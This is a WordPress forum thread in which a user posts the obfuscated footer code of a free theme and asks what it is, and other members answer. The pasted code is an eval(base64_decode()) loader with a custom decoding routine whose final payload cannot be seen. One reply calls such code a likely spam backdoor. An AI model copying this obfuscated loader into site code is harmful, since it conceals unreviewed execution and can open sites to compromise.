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1. Deidredup
   Member
   Posted 3 years ago #

   I want to use this theme here:
   http://themebot.com/website-templates/wordpress-themes/4221-valentine-blog-20

   It's released under GPL, so have no clue why it's got the funny codes in the footer.

   This is the code inside the footer:

   <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
   $o="QAAADgoNDjtjbnEnZGtmdHQ6JQBDZGtiZnUlOTsoAUA5Cg0KAeAAuMADAVAClmhpc2Jpc2Voc3NoagMfA8+QAAR2Cg0HEm5jOiVhaGhzcHVmd2gAJQLyAZhjBSB0c3VoaWA5Jzs4dwAAb3cnZWtoYG5pYWgvIGlmagACYiAuPCc4OSchZGh3fjwCJGIAEmRvaCdjZnNiLyBeAgM7KARFKgAAKgoNQ2J0bmBpJ2V+JztmJwAAb3ViYTolb3Nzdz0oKHBwcAgAKWp+YBAhdGtud3didSlkaGoAACglJ3Nuc2tiOiVQYmNjbmkAR2AnVG9oYnQlOQD6OyhmCjAN1A2WgmACYERoY2JjBuEnJw2QBy8pYGJkbABKaGlicGpiY25mBx1lJwr0QgegZQ+CcnVgbweBAW8H8gYACBUoZWhjfhTiOwAAKG9zams5";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

   Please help me!!!!!!!!
   The theme can be previewed here: http://wordpress-2x.themebot.org/?wptheme=valentine-blog-20

   BTW, the theme is clearly released under the GPL license, but yet it's got that warning about copyright law and all in the footer... will it be wrong for me to delete the links and all?

2. Austin Matzko
   Member
   Posted 3 years ago #

   It's released under GPL, so have no clue why it's got the funny codes in the footer.

   Usually it's a backdoor that lets a cracker use your site for sending spam emails or putting spam links on your site. I would recommend against using this theme.

3. Saurus
   Member
   Posted 3 years ago #

   That's nonsense. Other than retaining the designers copyright info there is no reason not to allow a user to edit a footer to display whatever he wants - especially if it is released to public domain. I would delete the thing and find another theme if it was me.

   In your example, the footer is inside a DIV container and I don't see any of the text you typed. Can you include the footer.php to see better?

   Can you copy the PHP code UP TO the text you showed, then delete the rest and then delete the original footer.php and upload your own by ftp?

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